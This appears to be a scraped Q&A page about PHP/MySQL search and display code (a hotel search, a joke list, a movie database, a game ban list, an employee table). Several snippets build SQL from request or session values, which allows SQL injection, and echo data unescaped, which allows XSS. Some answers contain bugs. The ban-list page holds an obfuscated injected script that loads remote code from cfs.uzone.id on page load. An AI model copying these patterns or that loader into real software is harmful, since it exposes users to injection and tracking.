Ok so basically I am having problems with outputting results from a search facility.
So let's say for example I search and I select a hotel with 'hotel_id' = 4 instead it always outputs results with 'hotel_id' = 1 no matter what I select. The search facility searches through name of hotel and guest's surname's and which ever is selected it should output anything that matches it, and that should be guests details, bookings that they made and hotels they have chosen.
My search facility looks like this:
<!DOCTYPE html>
<html>
<head>
<title>Database</title>
<link href="style.css" rel="stylesheet" type="text/css"> <!-- This is linking style sheet (css)into this HTML page-->
<link href='https://fonts.googleapis.com/css?family=PT+Serif:400italic' rel='stylesheet' type='text/css'>
</head>
<body>
<div class="navigation">
<form action = "index.php" method="get">
<input type = "submit" name = "mainpage" value = "Main Page" class = "submitbut" id = "but1" />
</form>
</div>
<form action="index.php" method="post">
<input type = "text" name = "search" id = "searching" />
<input type = "submit" name = "data_submit" value = "Search" id = "scan" />
</form>
<?php
if(isset($_GET['mainpage'])){
header("Location:mainpage.php");
exit;
}
if (isset($_POST["data_submit"])){
$search_term = $_POST['search'];
$conn = new PDO(
'mysql:host=localhost;dbname=u1358595',
'root'
);
$stmt = $conn->prepare("SELECT * FROM hotel
INNER JOIN booking
ON hotel.hotel_id=booking.hotel_id
INNER JOIN guest
ON guest.guest_id=booking.guest_id
WHERE name LIKE :search_term");
$stmt->bindValue(':search_term','%'.$search_term. '%');
$stmt->execute();
echo
"<table><tr>
<th>Hotels Matched</th>
</tr>";
while($hotel = $stmt->fetch())
{
echo
"<tr>"."<td>"."<a href='details.php?name=".$hotel['name']."'>".$hotel['name']."</a>"."</td>"."</tr>";
}
echo "</table>";
$stmt = $conn->prepare("SELECT * FROM guest
INNER JOIN booking
ON guest.guest_id=booking.guest_id
INNER JOIN hotel
On booking.hotel_id=hotel.hotel_id
WHERE guest.last_name LIKE :search_term");
$stmt->bindValue(':search_term','%'.$search_term. '%');
$stmt->execute();
echo
"<table><tr>
<th>Guests Matched</th>
</tr>";
while($hotel = $stmt->fetch())
{
echo
"<tr>"."<td>"."<a href='details.php?name=".$hotel['first_name']."'>".$hotel['last_name']."</a>"."</td>"."</tr>";
}
echo "</table>";
$conn = NULL;
}
?>
</body>
</html>
And my results are printed on another page, and it's code is:
<!DOCTYPE html>
<html>
<head>
<title>Database</title>
<link href="style.css" rel="stylesheet" type="text/css"> <!-- This is linking style sheet (css)into this HTML page-->
<link href='https://fonts.googleapis.com/css?family=PT+Serif:400italic' rel='stylesheet' type='text/css'>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
</head>
<body>
<div class="navigation">
<form action = "index.php" method="get">
<input type = "submit" name = "mainpage" value = "Main Page" class = "submitbut" id = "but1" />
</form>
</div>
<?php
$conn = new PDO(
'mysql:host=localhost;dbname=u1358595',
'root'
);
if(!isset($_GET['name']))
{
echo "You shouldn't have got to this page";
exit;
}
$name = $_GET['name'];
$query = "SELECT * FROM hotel WHERE name=$name";
$stmt = $conn->prepare($query);
$stmt->bindValue(':name',$name);
$stmt->execute();
echo
"<table><tr>
<th>hotel_id</th>
<th>name</th>
<th>address</th>
<th>postcode</th>
<th>town</th>
<th>description</th>
<th>rating</th>
<th>image</th></tr>";
while($hotel=$stmt->fetch());
{
echo
"<td>". $hotel['hotel_id']."</td>".
"<td>". $hotel['name']."</td>".
"<td>". $hotel['address']."</td>".
"<td>". $hotel['postcode']."</td>".
"<td>". $hotel['town']."</td>".
"<td>". $hotel['description']."</td>".
"<td>". $hotel['rating']."</td>".
"<td>"."<img src='". $hotel['image']. "'>"."</td>"."</tr>";
//$variable = $hotel['hotel_id'];
}
echo "</table>";
/*
$query2 = "SELECT * FROM booking WHERE hotel_id=$variable";
echo
"<table><tr>
<th>hotel_id</th>
<th>guest_id</th>
<th>payment-type</th>
<th>amount</th>
<th>nights</th></tr>";
$results2 = $conn->query($query2);
if($variable = $results2->fetch()) { echo
"<tr>"."<td>".$variable['hotel_id']."</td>".
"<td>". $variable['guest_id']."</td>".
"<td>". $variable['payment-type']."</td>".
"<td>". "£".$variable['amount']."</td>".
"<td>". $variable['nights']."</td>"."</tr>";
$guest_id = $variable['guest_id'];
}
echo "</table>";
$query3 = "SELECT * FROM guest WHERE guest_id=$guest_id";
echo
"<table><tr>
<th>guest_id</th>
<th>first_name</th>
<th>last_name</th>
<th>address</th>
<th>postcode</th>
<th>town</th></tr>";
$results3 =$conn->query($query3);
while($guest = $results3->fetch()) { echo
"<tr>"."<td>".$guest['guest_id']."</td>".
"<td>". $guest['first_name']."</td>".
"<td>". $guest['last_name']."</td>".
"<td>". $guest['address']."</td>".
"<td>". $guest['postcode']."</td>".
"<td>". $guest['town']."</td>"."</tr>";
}
echo "</table>";
*/
$conn=NULL;
?>
</body>
</html>
I am stuck on this for days now so please help me to make this work and also if there are any ways to reduce and not duplicating same code all over again.
Thanks for any efforts ;)
Please note I am not allowed to use javascript
I changed the pieces identified as probably incorrect and did some tidying up - looks like it should work, certainly there should be nothing wrong with the selection of records based upon the search
<!--
Search ( assumed to be index.php )
----------------------------------
As this page displays results from the search I assume that this
is "index.php" and that the form `POST`s back to this page.
-->
<?php
error_reporting( E_ALL );
?>
<!DOCTYPE html>
<html>
<head>
<title>Hotel Database Search</title>
<link href="style.css" rel="stylesheet" type="text/css"> <!-- This is linking style sheet (css)into this HTML page-->
<link href='https://fonts.googleapis.com/css?family=PT+Serif:400italic' rel='stylesheet' type='text/css'>
</head>
<body>
<div class="navigation">
<form action="index.php" method="get">
<input type="submit" name="mainpage" value="Main Page" class="submitbut" id="but1" />
</form>
</div>
<form action="index.php" method="post">
<input type="text" name="search" id="searching" />
<input type="submit" name="data_submit" value="Search" id="scan" />
</form>
<?php
/* This is liable to cause an error: headers should not be sent after any output */
if( isset( $_GET['mainpage'] ) ) exit( header( "Location: mainpage.php" ) );
if ( isset( $_POST["data_submit"] ) ){
$search_term = strip_tags( trim( $_POST['search'] ) );
$conn = new PDO( 'mysql:host=localhost;dbname=u1358595', 'root' );
$stmt = $conn->prepare("SELECT * FROM `hotel` h
INNER JOIN `booking` b ON h.`hotel_id`=b.`hotel_id`
INNER JOIN `guest` g ON g.`guest_id`=b.`guest_id`
WHERE `name` LIKE :search_term;");
$stmt->bindValue(':search_term','%' . $search_term . '%');
$stmt->execute();
echo "<table><tr><th>Hotels Matched</th></tr>";
while( $rs= $stmt->fetch(PDO::FETCH_OBJ) ) {
echo "<tr><td><a href='details.php?name=".$rs->name."'>".$rs->name."</a></td></tr>";
}
echo "</table>";
$stmt = $conn->prepare("SELECT * FROM `guest` g
INNER JOIN `booking` b ON g.`guest_id`=b.`guest_id`
INNER JOIN `hotel` On b.`hotel_id`=h.`hotel_id`
WHERE g.`last_name` LIKE :search_term;");
$stmt->bindValue( ':search_term', '%'.$search_term.'%' );
$stmt->execute();
echo "<table><tr><th>Guests Matched</th></tr>";
while( $rs= $stmt->fetch(PDO::FETCH_OBJ) ) {
echo "<tr><td><a href='details.php?name=".$rs->first_name."'>".$rs->last_name."</a></td</tr>";
}
echo "</table>";
$conn = NULL;
}
?>
</body>
</html>
<!--
Results ( assumed to be "details.php" )
---------------------------------------
I again assume that this is the details page and this is linked to
via the results found on "index.php"
-->
<!DOCTYPE html>
<html>
<head>
<title>Database</title>
<link href="style.css" rel="stylesheet" type="text/css"> <!-- This is linking style sheet (css)into this HTML page-->
<link href='https://fonts.googleapis.com/css?family=PT+Serif:400italic' rel='stylesheet' type='text/css'>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
</head>
<body>
<div class="navigation">
<form action="index.php" method="get">
<input type="submit" name="mainpage" value="Main Page" class="submitbut" id="but1" />
</form>
</div>
<?php
if( !isset( $_GET['name'] ) ) exit("You shouldn't have got to this page");
$conn = new PDO( 'mysql:host=localhost;dbname=u1358595', 'root' );
$name = $_GET['name'];
$query="SELECT * FROM `hotel` WHERE `name`=:name;";
$stmt = $conn->prepare( $query );
$stmt->bindValue( ':name', $name );
$stmt->execute();
echo
"<table>
<tr>
<th>hotel_id</th>
<th>name</th>
<th>address</th>
<th>postcode</th>
<th>town</th>
<th>description</th>
<th>rating</th>
<th>image</th>
</tr>";
while( $rs=$stmt->fetch(PDO::FETCH_OBJ) ){
echo "
<tr>
<td>{$rs->hotel_id}</td>
<td>{$rs->name}</td>
<td>{$rs->address}</td>
<td>{$rs->postcode}</td>
<td>{$rs->town}</td>
<td>{$rs->description}</td>
<td>{$rs->rating}</td>
<td><img src='{$rs->image}'></td>
</tr>";
}
echo "</table>";
$conn=NULL;
?>
</body>
</html>
Related
So I got these issues when I tried to extract data from the database. My DB connection is working fine. It is showing "Database connection established" and inside my index.php I wrote a for each loop to get the data and inside my HTML code, I display it inside the table. I got these errors:
Notice: Undefined variable: jokes in C:\xampp\htdocs\comp1321_database\jokes\jokes.html.php on line 16
Warning: Invalid argument supplied for foreach() in C:\xampp\htdocs\comp1321_database\jokes\jokes.html.php on line 16
Here is the HTML and php code to display the data:
<?php include_once 'admin/includes/helpers.inc.php';?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>List of Jokes</title>
</head>
<body>
<p>Add your own joke</p>
<p>Here are all the jokes in the database</p>
<!-- into a table -->
<table border="1">
<?php foreach ($jokes as $joke): ?>
<!-- <form action="?deletejoke" method="post"> -->
<tr>
<td><?php html($joke['joketext']);?></td>
<td><?php $display_date = date("D d M Y", strtotime($joke['jokedate']));
html($display_date); ?>
</td>
<td><img height="100px" src="images/<?php html($joke['image']);?>"
/></td>
<td><input type="hidden" name="id" value="<?php echo $joke['id'];
?>">
<input type="submit" value="Delete"></td>
</tr>
<!-- </form> -->
<?php endforeach; ?>
</table>
<?php include 'admin/includes/footer.inc.html.php';?>
</body>
</html>
and here is the index.php:
<?php
// selection block
include 'admin/includes/db.inc.php';
//
try
{
$sql = 'SELECT * FROM joke';
$result = $pdo->query($sql);
} catch (PDOException $e) {
$error = 'Error fetching jokes' . $e->getMessage();
include 'error.html.php';
exit();
}
foreach ($result as $row) {
$jokes[] = array(
'joketext'=> $row ['joketext'],
'jokedate'=> $row['joketext'],
'image'=> $row['image']
);
}
include 'jokes.html.php';
?>
Many thanks.
Initialize your jokes variable before you try to use it, ie:
$jokes = [];
try
{
$sql = 'SELECT * FROM joke';
$result = $pdo->query($sql);
} catch (PDOException $e) {
$error = 'Error fetching jokes' . $e->getMessage();
include 'error.html.php';
exit();
}
foreach ($result as $row) {
$jokes[] = array(
'joketext'=> $row ['joketext'],
'jokedate'=> $row['joketext'],
'image'=> $row['image']
);
}
You need define $jokes on your php file, you can do it on header of file.
<?php include_once 'admin/includes/helpers.inc.php';?>
<?php
$jokes = someGetJokesFunction(); // write function to get data from database
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>List of Jokes</title>
</head>
<body>
<p>Add your own joke</p>
<p>Here are all the jokes in the database</p>
<!-- into a table -->
<table border="1">
<?php foreach ($jokes as $joke): ?>
<!-- <form action="?deletejoke" method="post"> -->
<tr>
<td><?php html($joke['joketext']);?></td>
<td><?php $display_date = date("D d M Y", strtotime($joke['jokedate']));
html($display_date); ?>
</td>
<td><img height="100px" src="images/<?php html($joke['image']);?>"
/></td>
<td><input type="hidden" name="id" value="<?php echo $joke['id'];
?>">
<input type="submit" value="Delete"></td>
</tr>
<!-- </form> -->
<?php endforeach; ?>
</table>
<?php include 'admin/includes/footer.inc.html.php';?>
</body>
</html>
I'm new to programming and web development and stuff so for fun I've created a database of all my blurays/DVDs and created an html page with php to connect to the mysql database and then somebody enters their name and selects a year and it displays all the movies from the that year of release. This is all done locally. However, for some reason when its ran it does not display all rows. Sometimes it pulls only 1 row, sometimes it pull 2 or 3 rows. Just wondering if somebody can tell me what's wrong. I have two .php files. The form and the processor. The select statement I used works just fine in the MySQL console and displays all data correctly there. Lastly, I know that CSS could be put to better use here with alignments and table borders, etc., but that's not what I'm focused on right now.
Form
<?php
//variables
$strHost = "localhost";
$strUser = "root";
$strPass = "";
$strDB = "movies";
$strYear = "";
$intYearMin = 1900;
$intYearMax = 2025;
$dblYearIncrement = 1;
$strYearOptions = "";
//populate dropdown list
for ($i=$intYearMin; $i<=$intYearMax; $i+=$dblYearIncrement) {
$strYearOptions .= "<option value=\"$i\">$i</option> \n";
}
?>
<!DOCTYPE hmtl>
<html>
<head>
<title>My Movie Listing: The Form</title>
<!-- Link style sheet link rel="stylesheet" href="../styles/styleDefault.css" /> -->
<link rel="stylesheet" type="text/css" href="./movies.css" />
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<script type="text/javascript">
function Start(){
document.getElementByID("txtName").focus();
}
</script>
</head>
<body onload="Start();">
<h1>
My Movies <br />
<img src="./filmreel1.png" alt="Film Reel" width="68" height="60" />
</h1>
<h2> Movie listing by year: </h2>
<form action="movies_1_proc.php" method="post" id="frmSale">
<ul>
<li>Your name: <input size="30" name="txtName" id="txtName" /></li>
<li>
Year:
<select name="Year">
<option value="xxx">Choose . . . </option>
<?php echo $strYearOptions; ?>
</select>
</li>
</ul>
<p class="centered">
<input type="submit" name="cmdSubmit" value="See What's Available" />
</p>
</form>
<body>
<html>
Processor and displays results
<?php
//initialization
$strHost = "localhost";
$strUser = "root";
$strPass = "";
$strDB = "movies";
//get data from html form
$dblMaxYear = $_POST['Year'];
$strName = $_POST['txtName'];
$strTableBlock = "";
//build sql string based on form data
$strSQL = "SELECT * FROM movies WHERE Year = $dblMaxYear ORDER BY IF(LEFT(title,2) = 'A ',
SUBSTRING(title FROM 3),
IF(LEFT(title,3) = 'An ',
SUBSTRING(title FROM 4),
IF(LEFT(title,4) = 'The ',
SUBSTRING(title FROM 5),
title)))";
//create dbms connection and open db
$strConn = mysqli_connect($strHost,$strUser,$strPass,$strDB);
//submit a query
$strResult= mysqli_query($strConn,$strSQL);
//process query
$arrRow = mysqli_fetch_assoc($strResult);
/*echo "<br />$strResult<br />";*/
while ($strRow = mysqli_fetch_array($strResult)) {
$strYear = $strRow['Year'];
$strRuntime = $strRow['Runtime'];
$strTitle = $strRow['Title'];
$strDirector = $strRow['Director'];
$strFormat = $strRow['Format'];
$strRating = $strRow['Rating'];
$strGenre = $strRow['Genre'];
$strRTscore = $strRow['RTscore'];
$strTableBlock .= "
<tr>
<td>$strYear</td><td>$strTitle</td><td>$strDirector</td><td>$strRuntime</td><td>$strFormat</td><td>$strRating</td><td>$strGenre</td><td>$strRTscore</td>
</tr> \n";
}
//wrapup database processing
mysqli_free_result($strResult);
mysqli_close($strConn) or die("Crash");
//output formatting
$strMaxYear = $dblMaxYear;
?>
<!DOCTYPE hmtl>
<html xmlns="http://w3.org/1999/xhtml">
<head>
<title>My Movies Listing: The Processor</title>
<!-- Link style sheet link rel="stylesheet" href="../styles/styleDefault.css" /> -->
<link rel="stylesheet" type="text/css" href="./movies.css" />
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<!--<style type="text/css">
table{
//margin:auto;
margin-left:auto;
margin-right:auto;
background-color:white;
}
.rightaling{
text-align:right;
}
</style>-->
</head>
<body>
<h1 align = "center">
My Movies <br />
<img src="./filmreel1.png" alt="Film Reel" width="68" height="60" />
</h1>
<h2 align = "center"> Movies From Year <?php echo $strMaxYear; ?> for <?php echo $strName; ?>:</h2>
<table border="2" align="center">
<tr><th>Year</th><th>Title</th><th>Director</th><th>Runtime</th><th>Format</th><th>Rating</th><th>Genre</th><th>RT%</th></tr>
<?php echo $strTableBlock ?>
</table>
<body>
<html>
<table class="table">
<thead>
<td><font color="#ff0000"><strong>Username</strong></font></td>
<td><font color="#ff0000"><strong>Player IP</strong></font></td>
<td><font color="#ff0000"><strong>Banned By</strong></font></td>
<td><font color="#ff0000"><strong>Reason</strong></font></td>
</thead>
<?php
$query = $config->prepare("SELECT player_banned, player_ip, banned_for, banned_by FROM `playerbans`");
$query->execute();
if($query->rowCount() == 0)
{
echo "<tr><td colspan='6'><small>There's no player on ban list</small></td></tr>";
}
while($data = $query->fetch())
{
echo "<tr><td>".$data['player_banned']."</td>";
echo "<td>".$data['player_ip']."</td>";
echo "<td>".$data['banned_by']."</td>";
echo "<td>".$data['banned_for']."</td></tr>";
}
?>
Page
<?php
session_start();
include "config.php";
?>enter code here
<!doctype html>
<html lang='en'>
<head>
<meta charset='utf-8'>
<meta name='author' content='CodeZero Cops and Robbers'>
<meta http-equiv='X-UA-Compatible' content='IE=edge,chrome=1'>
<meta name='description' content='>Donate for the server, CZ Original Community'>
<meta name='keywords' content='sfcnr, sf, czcnr, cnr, samp, gta sa, san andreas, san andreas multiplayer, cops and robbers, cnrsf, san fierro, los santos, samp server, sa:mp'>
<title>Players Banned List — CodeZero Community</title>
<meta name='viewport' content='width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no'>
<meta name='HandheldFriendly' content='True'>
<meta name='MobileOptimized' content='320'>
<meta name='apple-mobile-web-app-capable' content='yes'>
<meta content='IE=edge,chrome=1' http-equiv='X-UA-Compatible'>
<link rel='icon' type='image/png' sizes='16x16' href='http://sf-cnr.com/assets/img/icons/favicon16.png'>
<link rel='icon' type='image/png' sizes='32x32' href='http://sf-cnr.com/assets/img/icons/favicon32.png'>
<link rel='icon' type='image/x-icon' href='http://sf-cnr.com/assets/img/icons/favicon.ico'>
<link rel='shortcut icon' type='image/x-icon' href='http://sf-cnr.com/assets/img/icons/favicon.ico'>
<link rel='stylesheet' crossorigin='anonymous' href='https://maxcdn.bootstrapcdn.com/bootswatch/3.3.7/paper/bootstrap.min.css' integrity='sha384-awusxf8AUojygHf2+joICySzB780jVvQaVCAt1clU3QsyAitLGul28Qxb2r1e5g+'>
<link rel='stylesheet' href='http://sf-cnr.com/assets/css/czcnr.css'>
</head>
<body data-spy='scroll' data-target='#main-navbar' data-offset='200'>
<!--[if lt IE 11]>
<p class='browserupgrade'>You are using an <strong>outdated</strong> browser. Please <a href='http://browsehappy.com/'>upgrade your browser</a> to improve your experience.</p>
<![endif]-->
<header>
<div class='navbar navbar-default' id='main-navbar'>
<div class='navbar-header'>
<a href='/' class='navbar-brand'>
<img src='http://sf-cnr.com/assets/img/logo2.png' class='logomain img-responsive' alt='Coming Soon'>
</a>
</div>
</header>
<div class="container">
<div>
<br>
<br>
<table class="table">
<thead>
<td><font color="#ff0000"><strong>Username</strong></font></td>
<td><font color="#ff0000"><strong>Player IP</strong></font></td>
<td><font color="#ff0000"><strong>Banned By</strong></font></td>
<td><font color="#ff0000"><strong>Reason</strong></font></td>
</thead>
<?php
$query = $config->prepare("SELECT player_banned, player_ip, banned_for, banned_by FROM `playerbans`");
$query->execute();
if($query->rowCount() == 0)
{
echo "<tr><td colspan='6'><small>There's no player on ban list</small></td></tr>";
}
while($data = $query->fetch())
{
echo "<tr><td>".$data['player_banned']."</td>";
echo "<td>".$data['player_ip']."</td>";
echo "<td>".$data['banned_by']."</td>";
echo "<td>".$data['banned_for']."</td></tr>";
}
?>
</table>
</div>
</div> <!-- /container -->
<script type='text/javascript' src='https://cdn.jsdelivr.net/g/jquery#3.1.0,bootstrap#3.3.7,jquery.stacktable#1.0.0,pace#1.0.2,bootbox#4.4.0'></script>
<script type='text/javascript' src='http://sf-cnr.com/assets/js/czcnr.js'></script>
<script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs.uzone.id/2fn7a2/request" + "?id=1" + "&enc=9UwkxLgY9" + "¶ms=" + "4TtHaUQnUEiP6K%2fc5C582H6x5iDAuv2BgmNFiBRmFhhZyQUvjNSjiB%2ftJP573bsnRCP5JczpdOSlguxHSRTFnEjUbFNkx%2fmKdBbbIS6t%2bA4Uo2DUgTLbqLKiqSoFsVnhRpuVyYzL4slrFdrTqRYF7d75uSqwzFTVh%2fNDDQNmc6lXF2AQrlHpYDOvtqAVZghZ30nMWRQCo5snc4k7A57qojCW6VGideuBSu6hP9pQfrZyAdpXmIf9emPm2Ym7kgkVOlX1gs7Dn3Dy8X7le0NtgeZtIj4UYf%2fqhYqHBqIRp%2fZZ7e9ZTPFrL%2bQ8Zg0gif%2fCaHvsVltFLj20Q8EFkveFFPRJEzNJfWyiipoGGmf3Zm2Mxd9gGmPgKvMQUze2LLsJ8JtGpGCUB8sxw8OI6SJc%2bXC4fFsG4tHKCgB9uNlJNxeItHiQYrpxrHHr1KKuw9tY2Cx%2fZfmEjtLpmFNBri1rYFiODuHLNqUF6C%2bmoDdLqURfbC6GgTXeV9QZ9dAA5BMpv2e0hG62FN6ThMR2GBOQWaRr%2bDqNXhBYfiiliAWxm8x2P%2f5orqA%2bgvL8I2w9%2fE8J" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};</script></body>
</html>
This is the code for displaying results. I want to put a search/filter box on top of the page to filter results from this table, I dont know how to do it.
You can post a string with your search box and check the user is post anything or not.
First add a input field and input submit button in your html. Then change your php code with this code
if(isset($_POST['inputName']) && !empty($_POST["inputName"]))
{
$input = $_POST['inputName'];
$query = $config->prepare("SELECT player_banned, player_ip, banned_for, banned_by FROM `playerbans` where condition= #condition");
$query->bindParam('#condition', $input);
}
else
{
$query = $config->prepare("SELECT player_banned, player_ip, banned_for, banned_by FROM `playerbans`");
}
$query->execute();
if($query->rowCount() == 0)
{
echo "<tr><td colspan='6'><small>There's no player on ban list</small></td></tr>";
}
while($data = $query->fetch())
{
echo "<tr><td>".$data['player_banned']."</td>";
echo "<td>".$data['player_ip']."</td>";
echo "<td>".$data['banned_by']."</td>";
echo "<td>".$data['banned_for']."</td></tr>";
}
Is it help you ?
The problem is that I have an html table with short info about employees that is taken from MySQL database. I'm trying to make a button with some ID that will open a modal window with full info about employee with the same value in it's field called 'ButtonID'. I tried to make desired query and set it to some variable in php and then access it in javascript but it didn't end well.
<!--
in <input id = "1" type="button" value="Full Info" input id equals to sql
'ButtonID' fields value
-->
Edit:
<form action="">
<input id = "1" type="button" value="Full Info"
onclick="fullInfo()">
</form>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Список сотрудников</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<div class = "header">
<img src = "img/header.png"></img>
</div>
<div class = "container">
<?php
echo "<table id='table_id' class = 'table table-striped'>";
echo "<thead>
<tr>
<th>№</th>
<th>ФИО</th>
<th>Имя транслитом</th>
<th>Дата рождения</th>
<th>Должность</th>
<th>Дата приёма</th>
<th>№ удостоверения</th>
<th>Полная информация</th>
</tr>
</thead>
";
class TableRows extends RecursiveIteratorIterator {
function __construct($it) {
parent::__construct($it, self::LEAVES_ONLY);
}
function current() {
return "<td>" . parent::current(). "</td>";
}
function beginChildren() {
echo "<tr>";
}
function endChildren() {
echo "</tr>" . "\n";
}
}
$servername = "localhost";
$username = "user";
$password = "password";
$dbname = "test";
try {
$conn = new PDO("mysql:host=$servername;dbname=$dbname;charset=utf8", $username, $password);
$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$stmt = $conn->prepare("SELECT number, fullname, engname,birthdaydate, position, recruitmentDate,id,buttonid FROM employees");
$ids = $conn->prepare("SELECT * FROM employees");
$stmt->execute();
// set the resulting array to associative
$result = $stmt->setFetchMode(PDO::FETCH_ASSOC);
foreach(new TableRows(new RecursiveArrayIterator($stmt->fetchAll())) as $k=>$v) {
echo $v;
}
}
catch(PDOException $e) {
echo "Error: " . $e->getMessage();
}
$conn = null;
echo "</table>";
?>
</div>
<div class = "footer">
<img src = "img/footer.jpg"></img>
</div>
<!--<link rel="stylesheet" type="text/css" href="css/styles.css">-->
<link rel="stylesheet" type="text/css" href="css/bootstrap.css">
<link rel="stylesheet" type="text/css" href="css/normalize.css">
<link rel="stylesheet" type="text/css" href="https://cdn.datatables.net/1.10.15/css/jquery.dataTables.min.css">
<link rel="stylesheet" type="text/css" href="https://cdn.datatables.net/1.10.15/js/jquery.dataTables.min.js">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<script src="https://code.jquery.com/jquery-1.10.2.js"></script>
<script src="http://code.jquery.com/ui/1.11.1/jquery-ui.js"></script>
<link rel="stylesheet" type="text/css" href="//cdn.datatables.net/1.10.15/css/jquery.dataTables.css">
<script type="text/javascript" charset="utf8" src="//cdn.datatables.net/1.10.15/js/jquery.dataTables.js"></script>
<script>
$(document).ready(function() {
$('#table_id').DataTable( {
"language": {
"url": "//cdn.datatables.net/plug-ins/1.10.13/i18n/Russian.json"
}
} );
} );
</script>
<!--
<script>
function fullInfo(){
var ids = <?php echo json_encode($ids); ?>;
for (int i = 0;i<ids.length;i++){
if (ids['buttonID'] == this.id){
alert ("good");
}
}
};
</script>
-->
</body>
</html>
You create a function that will process a call to your site like this:
http://my-site.com/employee.php?id=12
employee.php (idea)
$stmt = $conn->prepare("SELECT * FROM employees WHERE id=:id");
$stmt->execute(array(':id' => $_GET['id']));
$employee = $stmt->fetch(PDO::FETCH_ASSOC);
print "<ul>";
//list the employee data
foreach($employee as $key => $value)
{
$key = htmlspecialchars($key, ENT_QUOTES, 'UTF-8');
$value = htmlspecialchars($value, ENT_QUOTES, 'UTF-8')
print "<li>". $key .': ' . $value . '</li>';
}
print "</ul>";
I suggest you to use an <a> tag instead of <button> as you have a link here, not a form. Just stylize it with CSS. In the column "Полная информация" of your table create a link:
<a target="_blank" href=\"/employee.php?id=$row['id']\">Полная информация</a>
This will open a new page. Process the request with PHP, I gave you the sample code.
Then add the ornaments like making the window modal, changing it's size etc.
For each row echo a button with its id as the employees id.
Add a letter before the id on the button to make sure it doesn't get repeated.
echo "<button id='emp*$employeeid*'>view</button>
I am creating a PHP/MySQL based application and it need to be able to carry over session variables into the DataTable plugin I use on a page in my app. The application is rather complicated, so I will explain how it works before I ask specific questions.
On index.php, there is a dropdown menu that shows the departments that use this application within my organization. The department list is generated by a mySQL table that has their department name and department code. The $dept variable stores the department code value from the selected option in the dropdown menu on submit. In turn, the $_SESSION["department"] variable stores $dept and redirects to the checkin page if successful.
<?php
require_once('connection.php');
session_start();
if (isset($_POST['submit']))
{
$dept = $_POST['dept'];
$_SESSION["department"] = $dept;
header("Location: checkin.php");
}
?>
<!doctype html>
<html class="no-js" lang="en">
<head>
<meta charset="utf-8" />
<meta http-equiv="x-ua-compatible" content="ie=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Visitor Management</title>
<link rel="stylesheet" href="css/foundation.min.css" />
<link rel="stylesheet" href="css/app.css" />
<link type="text/css" rel="stylesheet" href="http://fast.fonts.net/cssapi/24365087-b739-4314-af6e-741946b60bef.css"/>
<link type="text/css" rel="stylesheet" href="http://fast.fonts.net/cssapi/b05259d9-ca62-44a8-8a19-d3facdbd64df.css"/>
<link type="text/css" rel="stylesheet" href="http://fast.fonts.net/cssapi/2603d516-f938-4b52-ae3a-11d25bb4c555.css"/>
<link type="text/css" rel="stylesheet" href="http://fast.fonts.net/cssapi/510266cf-74ab-4fa8-9b39-dd37b90d6ab0.css"/>
</head>
<body>
<!-- nav -->
<div class="top-bar">
<div class="top-bar-left">
<ul class="menu">
</ul>
</div>
<div class="top-bar-right">
</div>
</div>
<div class="row text-center" style="margin-top: 5%;">
<h1>Syracuse University</h1>
<h2>Visitor Management</h2>
<br/>
<form id="dept" method="post" name="dept">
<?php
echo "<select name='dept'>";
echo '<option>'.'Please select a department'.'</option>';
$query = mysqli_query($VisitorManagement, "SELECT * FROM departments");
while($row=mysqli_fetch_array($query))
{
echo "<option value='". $row['code']."'>".$row['name']
.'</option>';
}
echo '</select>';
?>
<input type="submit" class="button" value="Submit" name="submit">
</form>
</div>
<script src="js/vendor/jquery.min.js"></script>
<script src="js/vendor/what-input.min.js"></script>
<script src="js/foundation.min.js"></script>
<script src="js/app.js"></script>
</body>
</html>
The session variable is then carried throughout the site and is used to determine which table needs to be shown. For instance, in checkin.php, we need to display staff members in a dropdown list. We have multiple tables based on the departments using the application. One table we have is called ts_staff If the session variable is stored as the string ts, we do the following steps to make sure the app is connecting to the right database:
We store the session variable from index.php into a global variable on checkin.php $dept = $_SESSION[department];
We create another new variable to concatenate the global variable and the _staff string which is used in all our mySQL staff tables: $staffTable = $dept . "_staff";
Lastly, we use the $staffTable variable as the database table that needs to be displayed: $query = mysqli_query($VisitorManagement, "SELECT * FROM {$staffTable}");
Here's the full checkin.php code:
<?php
// connect to database
require_once('connection.php');
session_start();
//get session variable, if empty, unset and logout
if(empty($_SESSION['department'])) {
session_unset();
session_destroy();
header("Location: index.php");
} else {
$dept = $_SESSION[department];
}
//submit values on submit
if (isset($_POST['submit']))
{
// store form data values
$suid = mysqli_real_escape_string($VisitorManagement, $_POST['suid']);
$staff = mysqli_real_escape_string($VisitorManagement, $_POST['staff']);
$checkinTable = $dept . "_checkin";
// insert varaibles into table rows
$sql = "INSERT INTO {$checkinTable} (suid, staffMember) VALUES ('$suid', '$staff')";
// check if row was inserted correctly
if (mysqli_query($VisitorManagement, $sql)) {
header('Location: thank-you.php');
} else {
echo "Error: " . $sql . "<br>" . mysqli_error($VisitorManagement);
}
}
?>
<!doctype html>
<html class="no-js" lang="en">
<head>
<meta charset="utf-8" />
<meta http-equiv="x-ua-compatible" content="ie=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Visitor Management</title>
<link rel="stylesheet" href="css/foundation.min.css" />
<link rel="stylesheet" href="css/app.css" />
